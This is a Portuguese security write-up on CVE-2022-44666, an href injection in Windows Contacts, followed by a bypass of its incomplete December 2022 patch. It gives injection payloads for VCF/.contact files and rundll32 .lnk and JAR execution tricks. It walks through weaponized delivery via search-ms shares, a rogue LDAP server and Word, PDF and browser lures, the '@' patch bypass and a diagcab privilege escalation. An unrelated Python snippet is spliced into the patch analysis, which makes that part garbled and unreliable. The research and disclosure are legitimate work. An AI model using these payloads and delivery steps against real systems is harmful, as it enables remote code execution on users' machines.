j00sean/cve-2022-44666Write-up sobre outra vulnerabilidade esquecida do Windows (0day): escape do atributo href do controle syslink dos Contatos do Microsoft Windows (VCF/Contact/LDAP), que não foi totalmente corrigida como CVE-2022-44666 nos patches lançados em dezembro de 2022.
Esta é a história sobre outro 0day esquecido, divulgado integralmente há mais de 4 anos por John Page (aka hyp3rlinx). Para entender o relatório, você precisa considerar que eu sou estúpido :-) E minha estupidez me leva a percorrer caminhos mais longos para resolver problemas simples, mas também me leva a descobrir outras maneiras de explorar alguns bugs. Por que digo isso? Porque não consegui entender rapidamente que a maneira de criar um arquivo .contact é simplesmente navegar até a pasta Contatos para criar o contato; em vez disso, usei essa informação para primeiro criar um arquivo VCF e então, erroneamente, pensei que se tratava de algum tipo de variante. Isso também aconteceu porque meu cérebro não consegue entender que alguns 0days são esquecidos por tanto tempo ¯\(ツ)/¯ Feito isso, e após as respostas "wontfix" do MSRC e do ZDI, investigações adicionais foram feitas para aumentar a gravidade, chegando finalmente aos arquivos .contact e ao manipulador de protocolo de URL "ldap" do Windows.
Enquanto eu lia o código do exploit para esta vulnerabilidade, que na verdade foi divulgada como 0day e é possível encontrar o relatório da ZDI.
Atualização 2022/07/21: Após relatar este caso à Microsoft, o pessoal do MSRC corretamente me apontou que o Windows Contacts não é o programa padrão para abrir arquivos VCF.
Pesquisas adicionais ainda demonstram que o programa padrão para arquivos VCF no Win7 ESU e no WinServer2019 é o Windows Contacts (wab.exe); caso contrário, o MS People (PeopleApp.exe) é usado. Aqui está uma tabela completa desse teste:
De qualquer forma, eles ainda argumentam que há uma certa engenharia social envolvida, como abrir um arquivo VCF malicioso e clicar em alguns links para explorar o bug, portanto isso não atende ao critério de bugs do MSRC para uma atualização de segurança.
Atualização 2022/07/25: Bem, após pesquisas adicionais, é o mesmo bug. Finalmente consegui encontrar uma prova de conceito para .contact. Na verdade, é possível analisar corretamente um arquivo .contact usando entidades HTML. Observe que isso resolve o problema anterior (Atualização 2022/07/21) e esse formato de arquivo (.contact) é aberto pelo Windows Contacts, programa padrão para essa extensão de arquivo, mesmo quando o MS Office está instalado no sistema. Basta uma primeira associação de arquivo se ainda não tiver sido feita, mas o único programa instalado por padrão para fazer isso é o Windows Contacts.
Atualização 2022/07/25: Essa pesquisa adicional me fez chegar a um ponto que eu estava tentando alcançar há algum tempo: usar algum manipulador de protocolo de URL para abrir automaticamente dados de contato criados para explorar o bug. Finalmente consegui fazê-lo funcionar graças ao esquema de URI ldap, que está associado por padrão ao aplicativo Windows Contacts. Assim, basta configurar um servidor LDAP malicioso e servir os dados do payload nos atributos mail, url ou wwwhomepage; o impacto da exploração aumenta, pois agora não é necessário clicar duas vezes em um arquivo VCF/Contact malicioso; podemos entregá-lo usando protocolos de URL.
Atualização 2023/02/08: Como um gesto de boa vontade do MSRC, John Page (aka hyp3rlinx) foi incluído na página de agradecimentos pela descoberta da CVE-2022-44666.
O relatório é basicamente o mesmo que nos links acima, no entanto, melhorei um pouco a engenharia social envolvida. Na verdade, a primeira coisa que fiz foi melhorar a forma como os links são vistos; como se fosse uma vulnerabilidade XSS, mas na verdade é uma injeção de HTML, então é possível fechar o primeiro elemento âncora e inserir um novo. Em seguida, quis remover a visibilidade desses elementos HTML, então definir um "innerHTML" o mais longo possível seria suficiente para ocultá-los (porque há limites de caracteres).
Este é o payload final utilizado:```html URL;WORK:">CLICKMEEEEE...
Para observar o que acontece, execute o procmon e configure um alvo falso do atributo href assim:```html
URL;WORK:"></a><a href="foo.exe">CLICKMEEEEE...</a>
Ao clicar no link, uma saída como esta é observada no procmon:
Este é o stacktrace da primeira operação "CreateFile":``` 0 FLTMGR.SYS FltpPerformPreCallbacksWorker + 0x36c 0xfffff806675a666c C:\WINDOWS\System32\drivers\FLTMGR.SYS 1 FLTMGR.SYS FltpPassThroughInternal + 0xca 0xfffff806675a611a C:\WINDOWS\System32\drivers\FLTMGR.SYS 2 FLTMGR.SYS FltpCreate + 0x310 0xfffff806675dc0c0 C:\WINDOWS\System32\drivers\FLTMGR.SYS 3 ntoskrnl.exe IofCallDriver + 0x55 0xfffff8066904e565 C:\WINDOWS\system32\ntoskrnl.exe 4 ntoskrnl.exe IoCallDriverWithTracing + 0x34 0xfffff8066909c224 C:\WINDOWS\system32\ntoskrnl.exe 5 ntoskrnl.exe IopParseDevice + 0x117d 0xfffff806694256bd C:\WINDOWS\system32\ntoskrnl.exe 6 ntoskrnl.exe ObpLookupObjectName + 0x3fe 0xfffff8066941329e C:\WINDOWS\system32\ntoskrnl.exe 7 ntoskrnl.exe ObOpenObjectByNameEx + 0x1fa 0xfffff806694355fa C:\WINDOWS\system32\ntoskrnl.exe 8 ntoskrnl.exe NtQueryAttributesFile + 0x1c5 0xfffff80669501125 C:\WINDOWS\system32\ntoskrnl.exe 9 ntoskrnl.exe KiSystemServiceCopyEnd + 0x25 0xfffff806692097b5 C:\WINDOWS\system32\ntoskrnl.exe 10 ntdll.dll NtQueryAttributesFile + 0x14 0x7ff8f0aed4e4 C:\Windows\System32\ntdll.dll 11 KernelBase.dll GetFileAttributesW + 0x85 0x7ff8ee19c045 C:\Windows\System32\KernelBase.dll 12 shlwapi.dll PathFileExistsAndAttributesW + 0x5a 0x7ff8ef20212a C:\Windows\System32\shlwapi.dll 13 shlwapi.dll PathFileExistsDefExtAndAttributesW + 0xa1 0x7ff8ef2022b1 C:\Windows\System32\shlwapi.dll 14 shlwapi.dll PathFileExistsDefExtW + 0x3f 0x7ff8ef2021ef C:\Windows\System32\shlwapi.dll 15 shlwapi.dll PathFindOnPathExW + 0x2f7 0x7ff8ef201f77 C:\Windows\System32\shlwapi.dll 16 shell32.dll PathResolve + 0x154 0x7ff8eebb0954 C:\Windows\System32\shell32.dll 17 shell32.dll CShellExecute::QualifyFileIfNeeded + 0x105 0x7ff8eebb05c9 C:\Windows\System32\shell32.dll 18 shell32.dll CShellExecute::ValidateAndResolveFileIfNeeded + 0x5e 0x7ff8eeb1e422 C:\Windows\System32\shell32.dll 19 shell32.dll CShellExecute::_DoExecute + 0x6d 0x7ff8eeb1e1cd C:\Windows\System32\shell32.dll 20 shell32.dll <lambda_519a2c088cd7d0cdfafe5aad47e70646>::<lambda_invoker_cdecl> + 0x2d 0x7ff8eeb09fed C:\Windows\System32\shell32.dll 21 SHCore.dll _WrapperThreadProc + 0xe9 0x7ff8f098bf69 C:\Windows\System32\SHCore.dll 22 kernel32.dll BaseThreadInitThunk + 0x14 0x7ff8f07e7034 C:\Windows\System32\kernel32.dll 23 ntdll.dll RtlUserThreadStart + 0x21 0x7ff8f0aa2651 C:\Windows\System32\ntdll.dll
Definindo um ponto de interrupção em **Shell32!ShellExecuteExW**, podemos ter uma visão mais clara das funções envolvidas:```
CommandLine: "C:\Program Files\Windows Mail\wab.exe" /vcard C:\Users\admin\Documents\vcf-0day\exploit.vcf
...
ModLoad: 00007ff7`c7d50000 00007ff7`c7dd5000 wab.exe
...
0:000> bp SHELL32!ShellExecuteExW
...
Breakpoint 0 hit
SHELL32!ShellExecuteExW:
00007ff8`eeb20e40 48895c2410 mov qword ptr [rsp+10h],rbx ss:000000d8`dc2dae88=0000000000090622
0:000> k
# Child-SP RetAddr Call Site
00 000000d8`dc2dae78 00007ff8`d3afee27 SHELL32!ShellExecuteExW
01 000000d8`dc2dae80 00007ff8`d3ad7802 wab32!SafeExecute+0x143
02 000000d8`dc2dbf90 00007ff8`ef3b2920 wab32!fnSummaryProc+0x1c2
03 000000d8`dc2dbfc0 00007ff8`ef3b20c2 USER32!UserCallDlgProcCheckWow+0x144
04 000000d8`dc2dc0a0 00007ff8`ef3b1fd6 USER32!DefDlgProcWorker+0xd2
05 000000d8`dc2dc160 00007ff8`ef3ae858 USER32!DefDlgProcW+0x36
06 000000d8`dc2dc1a0 00007ff8`ef3ade1b USER32!UserCallWinProcCheckWow+0x2f8
07 000000d8`dc2dc330 00007ff8`ef3ad68a USER32!SendMessageWorker+0x70b
08 000000d8`dc2dc3d0 00007ff8`d93a6579 USER32!SendMessageW+0xda
09 000000d8`dc2dc420 00007ff8`d93a62e7 comctl32!CLink::SendNotify+0x12d
0a 000000d8`dc2dd560 00007ff8`d9384bb8 comctl32!CLink::Notify+0x77
0b 000000d8`dc2dd590 00007ff8`d935add2 comctl32!CMarkup::OnButtonUp+0x78
0c 000000d8`dc2dd5e0 00007ff8`ef3ae858 comctl32!CLink::WndProc+0x86ff2
0d 000000d8`dc2dd6f0 00007ff8`ef3ae299 USER32!UserCallWinProcCheckWow+0x2f8
0e 000000d8`dc2dd880 00007ff8`ef3ac050 USER32!DispatchMessageWorker+0x249
0f 000000d8`dc2dd900 00007ff8`d92b6317 USER32!IsDialogMessageW+0x280
10 000000d8`dc2dd990 00007ff8`d92b61b3 comctl32!Prop_IsDialogMessage+0x4b
11 000000d8`dc2dd9d0 00007ff8`d92b5e2d comctl32!_RealPropertySheet+0x2bb
12 000000d8`dc2ddaa0 00007ff8`d3acfb68 comctl32!_PropertySheet+0x49
13 000000d8`dc2ddad0 00007ff8`d3ace871 wab32!CreateDetailsPropertySheet+0x930
14 000000d8`dc2de140 00007ff8`d3ad68f5 wab32!HrShowOneOffDetails+0x4f5
15 000000d8`dc2de390 00007ff8`d3af800f wab32!HrShowOneOffDetailsOnVCard+0xed
16 000000d8`dc2de400 00007ff7`c7d51b16 wab32!WABObjectInternal::VCardDisplay+0xbf
17 000000d8`dc2de450 00007ff7`c7d52c28 wab!WinMain+0x896
18 000000d8`dc2dfab0 00007ff8`f07e7034 wab!__mainCRTStartup+0x1a0
19 000000d8`dc2dfb70 00007ff8`f0aa2651 KERNEL32!BaseThreadInitThunk+0x14
1a 000000d8`dc2dfba0 00000000`00000000 ntdll!RtlUserThreadStart+0x21
E o pseudo-código envolvido é o seguinte:```cpp _int64 __fastcall fnSummaryProc(HWND hWnd, int a2, WPARAM a3, LONG_PTR a4) {
...
default:
if ( !((v22 + 4) & 0xFFFFFFFD) && *(_WORD *)(v5 + 136) )
SafeExecute(v7, (const unsigned __int16 *)v9, (const unsigned __int16 *)(v5 + 136)); <== FOLLOW THIS PATH
break;
}
} return 1i64; }
__int64 __fastcall SafeExecute(HWND a1, const unsigned __int16 *a2, const unsigned __int16 *a3) { const unsigned __int16 *v3; // rbx HWND v4; // rdi unsigned int v5; // ebx BOOL v6; // ebx __int64 v7; // rdx OLECHAR *v8; // rax signed int v10; // eax DWORD pcchCanonicalized; // [rsp+20h] [rbp-E0h] SHELLEXECUTEINFOW pExecInfo; // [rsp+30h] [rbp-D0h] OLECHAR Dst[2088]; // [rsp+A0h] [rbp-60h]
v3 = a3; v4 = a1; memset_0(Dst, 0, 0x1048ui64); pcchCanonicalized = 2084; v5 = UrlCanonicalizeW(v3, Dst, &pcchCanonicalized, 0); if ( (v5 & 0x80000000) == 0 ) { v6 = UrlIsW(Dst, URLIS_FILEURL); pExecInfo.hProcess = 0i64; pExecInfo.hwnd = 0i64; pExecInfo.lpVerb = 0i64; _mm_store_si128((__m128i *)&pExecInfo.lpParameters, (__m128i)0i64); *(_OWORD *)&pExecInfo.hInstApp = 0i64; *(_OWORD *)&pExecInfo.lpClass = 0i64; *(_OWORD *)&pExecInfo.dwHotKey = 0i64; if ( !ShellExecuteExW(&pExecInfo) ) <== CALL HERE { v10 = GetLastError(); v5 = (unsigned __int16)v10 | 0x80070000; if ( v10 <= 0 ) v5 = v10; } } ... }
Depois disso, fica claro que o problema envolve, na verdade, os [controles SysLink na biblioteca comctl32.dll][R.6] e como o atributo href é analisado pela biblioteca wab32.dll.
Não é possível usar locais compartilhados remotos ou webdavs para explorar isso.```html
URL;WORK:"></a><a href="\\127.0.0.1@80\test\payload.exe">CLICKMEEEEE...</a>
URL;WORK:"></a><a href="\\vboxsvr\test\payload.exe">CLICKMEEEEE...</a>
As informações do arquivo são consultadas, mas nunca executadas.
É possível usar caminhos relativos, como:```html URL;WORK:">CLICKMEEEEE...
Exemplo:```html
URL;WORK:"></a><a href="hidden\payload.exe">CLICKMEEEEE...</a>
Indo um pouco mais adiante e, ao testar o rundll32 como vetor de ataque, notei que não era possível usar argumentos com o executável do payload selecionado. Porém, usando um arquivo .lnk que aponta para um executável escolhido, era possível usar argumentos de linha de comando. É um pouco complicado, mas funciona.```html URL;WORK:">CLICKMEEEEE...
Destino de run.lnk:```
rundll32.exe hidden\payload.bin,Foo"
Isso parece mais interessante porque não é necessário depositar um executável no sistema alvo.
Execução Remota de Código como o usuário atualmente conectado.
É necessário que exista associação de arquivos para usar o Windows Contacts para abrir arquivos .vcf.
Atualização 2021/07/25: Para arquivos de Contato (.contact) existe apenas um aplicativo para abri-los por padrão: Windows Contacts, mesmo quando o MS Office está instalado no sistema alvo.
Usando os arquivos localizados em ./report-pocs/:
Há alguns vídeos anexados em ./videos:
Este é um resumo dos arquivos de prova de conceito localizados em ./report-pocs/:
E os arquivos localizados em ./src:
Para exploração adicional, e como a vulnerabilidade não permite carregar arquivos de locais compartilhados remotos, o protocolo de URI "search-ms" é um vetor interessante. Você encontrará provas de conceito que apenas acionam um binário local, como calc ou notepad, e provas de conceito mais complexas que chamei de exploit weaponized, porque elas não executam arquivos locais. Esses PoCs e exploits estão localizados em ./further-pocs/.
Este é um resumo dos aplicativos alvo:
Para reproduzir:
Configure um local compartilhado remoto (SMB ou WebDav). Copie o conteúdo de ./further-pocs/to-copy-in-remote-shared-location/ para ele.
Se desejar, oculte os arquivos executando ./further-pocs/to-copy-in-remote-shared-location/setup-hidden.bat.
Modifique o arquivo exploit.html/poc.html localizado em ./further-pocs/[vector or target app]/remote-weaponized-by-searchms/ para apontar para o seu local compartilhado remoto.
Inicie um servidor web no caminho do aplicativo alvo, ou seja: ./further-pocs/[vector or target app]/[poc||remote-weaponized-by-searchms]/.
Execute os arquivos poc/exploit dependendo do caso.
Para mais informações, assista aos vídeos localizados em ./videos:
Além disso, estes são todos os arquivos para exploração adicional:
Após receber a Atualização 2022/07/21 do MSRC, decidi examinar a extensão de arquivo Contact, pois isso confirmaria se era ou não o mesmo caso daquele encontrado pelo descobridor original — e, claro, era. Minha primeira prova de conceito foi apenas usar um formato de arquivo diferente, mas o bug é o mesmo. Basta usar o wabmig.exe localizado em "C:\Program Files\Windows Mail" para converter todos os arquivos VCF em arquivos Contact.
E, como mencionado nas atualizações da introdução, esses arquivos são abertos pelo Windows Contacts (programa padrão).
Os passos para reproduzir são os mesmos usados para arquivos VCF. As mesmas restrições observadas em arquivos VCF se aplicam aos arquivos Contact, ou seja, não é possível usar locais compartilhados remotos para o atributo "href", mas ainda é possível usar caminhos locais ou o protocolo de URL "search-ms".
Estes são todos os arquivos adicionados ou modificados para explorar arquivos Contact:
Como mencionado acima, esta pesquisa adicional me fez chegar a um ponto que eu estava tentando alcançar há algum tempo: usar algum manipulador de protocolo de URL para abrir automaticamente dados de contato especialmente criados para explorar o bug. Esse desafio foi finalmente alcançado graças ao esquema de URI ldap.```js ... Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\LDAP] @="URL:LDAP Protocol" "EditFlags"=hex:02,00,00,00 "URL Protocol"=""
[HKEY_CLASSES_ROOT\LDAP\Clsid] @="{228D9A81-C302-11cf-9AA4-00AA004A5691}"
[HKEY_CLASSES_ROOT\LDAP\shell]
[HKEY_CLASSES_ROOT\LDAP\shell\open]
[HKEY_CLASSES_ROOT\LDAP\shell\open\command]
@=hex(2):22,00,25,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,69,00,6c,
00,65,00,73,00,25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,20,00,
4d,00,61,00,69,00,6c,00,5c,00,77,00,61,00,62,00,2e,00,65,00,78,00,65,00,22,
00,20,00,22,00,2f,00,6c,00,64,00,61,00,70,00,3a,00,25,00,31,00,22,00,00,00
...
Ou seja:```
"%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"
Então, apenas configurando um servidor LDAP malicioso e servindo os dados do payload, é possível usar este manipulador de protocolo url para iniciar o Windows Contacts (wab.exe) com um payload malicioso nos atributos ldif mail, url ou wwwhomepage. Note que não consegui fazer isso funcionar no atributo "wwwhomepage" conforme indicado aqui, mas teoricamente deveria funcionar.
O conteúdo ldif elaborado é apenas algo assim:```html ... dn: dc=org dc: org objectClass: dcObject
dn: dc=example,dc=org dc: example objectClass: dcObject objectClass: organization
dn: ou=people,dc=example,dc=org objectClass: organizationalUnit ou: people
dn: cn=Microsoft,ou=people,dc=example,dc=org cn: Microsoft gn: Microsoft company: Microsoft title: Microsoft KB5001337-hotfix mail:">Run-installer... url:">Run-installer... wwwhomepage:">Run-installer... objectclass: top objectclass: person objectClass: inetOrgPerson ...
E o código para o servidor LDAP malicioso foi emprestado do servidor de início rápido do projeto ldaptor, localizado [aqui][R.9].
Este é um resumo dos aplicativos alvo:
* Navegadores: MS Edge, Google Chrome, Mozilla Firefox e Opera.
* MS Word.
* Leitores de PDF (principalmente Adobe Acrobat Reader DC e Foxit PDF Reader).
Os passos para reproduzir são:
1. Copie [./further-pocs](https://github.com/j00sean/cve-2022-44666/blob/HEAD/further-pocs) para um local compartilhado remoto (SMB ou WebDav).
2. Se desejar, oculte os arquivos executando [./further-pocs/MSWord/setup-hidden.bat](https://github.com/j00sean/cve-2022-44666/blob/HEAD/further-pocs/MSWord/setup-hidden.bat).
3. Instale o ldaptor via pip: pip install ldaptor. Observe que isso foi testado no Python 2.7 x64.
4. Inicie o servidor LDAP malicioso localizado em [./further-pocs/ldap-rogue-server/ldap-server.py](https://github.com/j00sean/cve-2022-44666/blob/HEAD/further-pocs/ldap-rogue-server/ldap-server.py)
5. Inicie um servidor web no caminho do aplicativo alvo, ou seja: ./further-pocs/[vector or target app]/url-protocol-ldap/.
6. Execute os arquivos de exploit dependendo do caso.
7. Para mais informações, assista aos vídeos localizados em [./videos](https://github.com/j00sean/cve-2022-44666/blob/HEAD/videos):
- 7.1. Para navegadores: [./videos/ldap-browsers-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/HEAD/videos/ldap-browsers-exploit.gif).
- 7.2. Para MS Word: [./videos/ldap-msword-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/HEAD/videos/ldap-msword-exploit.gif).
- 7.3. Para leitores de PDF: [./videos/ldap-pdfreaders-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/HEAD/videos/ldap-pdfreaders-exploit.gif).
Estes são os arquivos adicionais para explorar o protocolo url ldap:
+ [./further-pocs/browsers/url-protocol-ldap/exploit.html](https://github.com/j00sean/cve-2022-44666/blob/HEAD/further-pocs/browsers/url-protocol-ldap/exploit.html): Arquivo HTML para carregar o protocolo url ldap em um servidor LDAP malicioso que retorna dados forjados para mail e URLs.
+ [./further-pocs/MSWord/url-protocol-ldap/poc.html](https://github.com/j00sean/cve-2022-44666/blob/HEAD/further-pocs/MSWord/url-protocol-ldap/poc.html): modelo remoto, também conhecido como htmlfile activex, para carregar o protocolo url ldap em um servidor LDAP malicioso que retorna dados forjados para mail e URLs.
+ [./further-pocs/MSWord/url-protocol-ldap/exploit.rtf](https://github.com/j00sean/cve-2022-44666/blob/HEAD/further-pocs/MSWord/url-protocol-ldap/exploit.rtf): Arquivo do Word no formato RTF que aciona um modelo remoto, também conhecido como htmlfile activex.
+ [./further-pocs/MSWord/url-protocol-ldap/exploit.docx](https://github.com/j00sean/cve-2022-44666/blob/HEAD/further-pocs/MSWord/url-protocol-ldap/exploit.docx): Arquivo do Word no formato DOCX que aciona um modelo remoto, também conhecido como htmlfile activex.
+ [./further-pocs/PDFreaders/url-protocol-ldap/exploit.html](https://github.com/j00sean/cve-2022-44666/blob/HEAD/further-pocs/PDFreaders/url-protocol-ldap/exploit.html): Arquivo HTML para carregar o protocolo url ldap em um servidor LDAP malicioso que retorna dados forjados para mail e URLs.
+ [./further-pocs/PDFreaders/url-protocol-ldap/exploit.pdf](https://github.com/j00sean/cve-2022-44666/blob/HEAD/further-pocs/PDFreaders/url-protocol-ldap/exploit.pdf): PDF que aciona o navegador padrão para executar o protocolo uri "ldap".
+ [./further-pocs/ldap-rogue-server/ldap-server.py](https://github.com/j00sean/cve-2022-44666/blob/HEAD/further-pocs/ldap-rogue-server/ldap-server.py): Script Python baseado no exemplo de servidor do ldaptor, que roda em Python 2.7 e fornece os dados forjados para explorar a falha por meio dos atributos ldif mail, url e wwwhomepage.
## CVE-2022-44666: Análise do patch e correção incompleta
Em 13 de dezembro de 2022, o patch para esta vulnerabilidade foi lançado pela Microsoft como [CVE-2022-44666][R.10].
As versões usadas para fazer o diff do patch (localizadas em C:\Program Files\Common Files\System\wab32.dll) foram:
+ MD5: 588A3D68F89ABF1884BEB7267F274A8B (pré-patch)
+ MD5: D1708215AD2624E666AFD97D97720E81 (pós-patch)
Ao comparar a biblioteca afetada (wab32.dll) usando o [Diaphora][R.11] de [@matalaz][R.12], descobriremos algumas funções novas:
E estas são as correspondências parciais:
Analisando o novo código na função "fnSummaryProc":```cpp
__int64 __fastcall fnSummaryProc(HWND a1, int a2, WPARAM a3, LONG_PTR a4)
{
...
if ( v26 <= 0x824 && (!v23 ? (v27 = 0) : (v27 = IsValidWebsiteUrlScheme(v23)), v27) ) // (1)
{
v38 = (unsigned __int16 *)2085;
v39 = &CPercentEncodeRFC3986::`vftable';
v40 = v23;
v41 = v26;
v28 = CPercentEncodeString::Encode(
(CPercentEncodeString *)&v39,
(unsigned __int16 *)&Dst,
(unsigned __int64 *)&v38,
v25);
v29 = v7;
if ( !v28 )
{
v30 = (const unsigned __int16 *)&Dst;
LABEL_44:
SafeExecute(v29, v24, v30); // (2)
return 1i64;
}
}
else
{
if ( v23 )
v32 = IsInternetAddress(v23, &v38);
else
v32 = 0;
v29 = v7;
if ( v32 )
{
v30 = v23;
goto LABEL_44; // (3)
}
}
v31 = GetParent(v29);
ShowMessageBox(v31, 0xFE1u, 0x30u); // (4)
return 1i64;
}
...
}
Após a correção, o novo código chama a função "SafeExecute" (2) ou exibe uma caixa de mensagem (4).
Para alcançar a chamada da função "SafeExecute" (2), é possível seguir o fluxo do código em (1):```cpp _BOOL8 __fastcall IsValidWebsiteUrlScheme(LPCWSTR pszIn) { const WCHAR *v1; // rbx _BOOL8 result; // rax DWORD pcchOut; // [rsp+30h] [rbp-68h] char Dst; // [rsp+40h] [rbp-58h]
v1 = pszIn; result = 0; if ( UrlIsW(pszIn, URLIS_URL) ) // (5) { memset_0(&Dst, 0, 0x40ui64); pcchOut = 32; if ( UrlGetPartW(v1, (LPWSTR)&Dst, &pcchOut, 1u, 0) >= 0 && (!(unsigned int)StrCmpICW(&Dst, L"http") || !(unsigned int)StrCmpICW(&Dst, L"https")) ) // (6) { result = 1; } } return result; }
Esta função primeiro verifica se a [URL é válida em (5)][R.13] e, em seguida, verifica se começa ou não com "http" ou "https" em (6). Este caminho de código parece seguro o suficiente. Voltando à função "fnSummaryProc", há outro caminho de código que pode ajudar a contornar a correção em (3).```cpp
__int64 __fastcall IsInternetAddress(unsigned __int16 *a1, unsigned __int16 **a2)
{
unsigned __int16 v2; // ax
unsigned __int16 **v3; // r14
unsigned __int16 *v4; // rdi
unsigned __int16 *v5; // r15
unsigned __int16 v6; // dx
unsigned __int16 *v7; // r8
unsigned __int16 *v8; // rcx
WCHAR v9; // ax
_WORD *v10; // rsi
int v11; // ebp
LPWSTR v12; // rax
unsigned __int16 *v14; // rax
v2 = *a1;
v3 = a2;
v4 = a1;
v5 = a1;
while ( v2 && v2 != 0x3C )
{
a1 = CharNextW(a1);
v2 = *a1;
}
v6 = *a1;
v7 = a1;
if ( *a1 )
{
v8 = a1 + 1;
v4 = v8;
}
else
{
v8 = v4;
}
v9 = *v8;
v10 = (_WORD *)((unsigned __int64)v7 & -(__int64)(v6 != 0));
v11 = v6 != 0;
if ( *v8 & 0xFFBF )
{
while ( v9 <= 0x7Fu && v9 != 0xD && v9 != 0xA )
{
if ( v9 == 0x40 ) // (7)
{
v14 = CharNextW(v8);
if ( !(unsigned int)IsDomainName(v14, v11, v3 != 0i64) ) // (8)
return 0i64;
if ( v3 )
{
if ( v10 )
{
*v10 = 0;
TrimSpaces(v5);
}
*v3 = v4;
}
return 1i64;
}
v12 = CharNextW(v8);
v8 = v12;
v9 = *v12;
if ( !v9 )
return 0i64;
}
}
return 0i64;
}
Uma coisa que me chamou a atenção sobre isso em (7), onde o código verifica se existe um caractere "@". Em seguida, ele chama a função "IsDomainName" para verificar se a string após o caractere "@" é um nome de domínio:```cpp __int64 __fastcall IsDomainName(unsigned __int16 *a1, int a2, int a3) { int v3; // edi int v4; // ebx int v5; // er9 __int64 v6; // rdx
v3 = a3; v4 = a2; if ( !a1 ) return 0i64; LABEL_2: v5 = *a1; if ( !(_WORD)v5 || (_WORD)v5 == 0x2E || v4 && (_WORD)v5 == 0x3E ) return 0i64; while ( (_WORD)v5 && (!v4 || (_WORD)v5 != 0x3E) ) { if ( (unsigned __int16)v5 >= 0x80u ) return 0i64; if ( (unsigned __int16)(v5 - 10) <= 0x36u ) { v6 = 19140298416324617i64; if ( _bittest64(&v6, (unsigned int)(v5 - 10)) ) return 0i64; } if ( (_WORD)v5 == 46 ) { a1 = CharNextW(a1); if ( a1 ) goto LABEL_2; return 0i64; } a1 = CharNextW(a1); v5 = *a1; } if ( v4 ) { if ( (_WORD)v5 != 0x3E ) return 0i64; if ( v3 ) *a1 = 0; } return 1i64; }
So the bypass for the fix is pretty simple. It's just necessary to use a single char "@". Symlink href attributes like these will successfully bypass the fix:```html
hidden\@payload.lnk
hidden\@payload.exe
A função main é o ponto de entrada. Ela lida com argumentos de linha de comando e inicia a aplicação.
import sys
def main():
if len(sys.argv) != 2:
print("Usage: python app.py <config_file>")
sys.exit(1)
# ... rest of the code
``````html
[email protected]
[email protected]
Para mais informações, há um vídeo para um arquivo de contato autônomo.
Prova de conceito localizada em ./bypass/report-pocs.
E outro para protocolo de URL do MS Word e LDAP.
Prova de conceito localizada em ./bypass/further-pocs.
Um dia após o lançamento do patch, essa informação foi enviada ao MSRC. Infelizmente, o caso foi fechado recentemente sem mais informações sobre ele.
Depois do CVE-2022-30190 também conhecido como vulnerabilidade Follina e do CVE-2022-34713 também conhecido como vulnerabilidade DogWalk, uma técnica publicamente conhecida, porém subestimada renasceu novamente graças a @buffaloverflow. Meu companheiro e amigo Eduardo Braun Prado me deu a ideia de usar essa técnica aqui.
Existem alguns pré-requisitos para fazer isso:
Um cenário de ataque real envolveria roubar um certificado de assinatura de código que esteja, de fato, instalado no sistema alvo. Mas como isso é apenas uma prova de conceito, um certificado de assinatura de código autoassinado foi gerado e usado para assinar o arquivo diagcab chamado @payload.diagcab.
Então, para reproduzir, é necessário instalar o certificado localizado em cert.cer na Autoridade de Certificação Raiz Confiável assim:
Para finalmente elevar os privilégios, uma técnica de roubo/impersonação de token poderia ser usada. Neste caso, a técnica de "processo pai" foi a escolhida. Uma versão modificada desse script foi incluída nos scripts de resolução.
Para mais informações, há um vídeo para protocolo de URL do MS Word e LDAP.
Prova de conceito localizada em ./bypass/diagcab-pocs.
Atualização 19/06/2023: Depois de ler o post sobre "ZipJar" do @pfiatde, essa informação interessante torna os arquivos JAR bons candidatos a serem usados como payload nessa vulnerabilidade, que, aliás, ainda é 0day hoje em dia, já que o MotW é ignorado e não exige aceitar nenhum prompt.
O payload JAR foi retirado do repositório do GitHub calc_security_poc.
Aqui está anexado um pequeno construtor, create-poc.py, para criar seu próprio POC a partir de algum template.
Não se esqueça de agradecer ao @microlovu e ao @mlftsecresponse. 😂
Lembre-se do código vulnerável na função "fnSummaryProc":```cpp ... LABEL_44: SafeExecute(v29, v24, v30); // Vulnerable call to shellexecute return 1i64; } } else { if ( v23 ) v32 = IsInternetAddress(v23, &v38); // Bypass with a single "@" else v32 = 0; v29 = v7; if ( v32 ) { v30 = v23; goto LABEL_44; } } ...
A função "IsInternetAddress" foi criada intencionalmente para verificar se o atributo href corresponde a algum endereço de e-mail. Então, minha correção proposta (seguindo as funções importadas que a biblioteca usa) seria:```cpp
...
if (v32 && !(unsigned int)StrCmpNICW(L"mailto:", v23, 7i64)) // Check out the href really starts with "mailto:"
{
v30 = v23;
goto LABEL_44;
}
...
Tão simples assim: basta verificar isso antes de chamar "SafeExecute". Apenas testar se a string alvo (v23) começa com "mailto:" corrigiria completamente o bug, na minha humilde opinião.
Há alguns dias/semanas, quando entrei em contato com @mkolsek da 0patch para informá-lo sobre este problema — que, aliás, é sempre muito gentil comigo —, ele me disse que isso vem recebendo uma correção não oficial para o Windows 7 desde então (4 anos atrás). Isso foi uma surpresa e boas notícias!
Foi testada e interrompeu com sucesso a nova variante do CVE-2022-44666. O micropatch prefixa "http://" à string controlada pelo atacante passada pelo atributo href se ela não começar com "mailto:", "http://" ou "https://", o que é suficiente para corrigir completamente o problema. Agora ele será estendido para as versões mais recentes do Windows, sendo necessário apenas atualizar alguns offsets.
De qualquer forma, seria melhor obter um patch oficial.
Por @j00sean
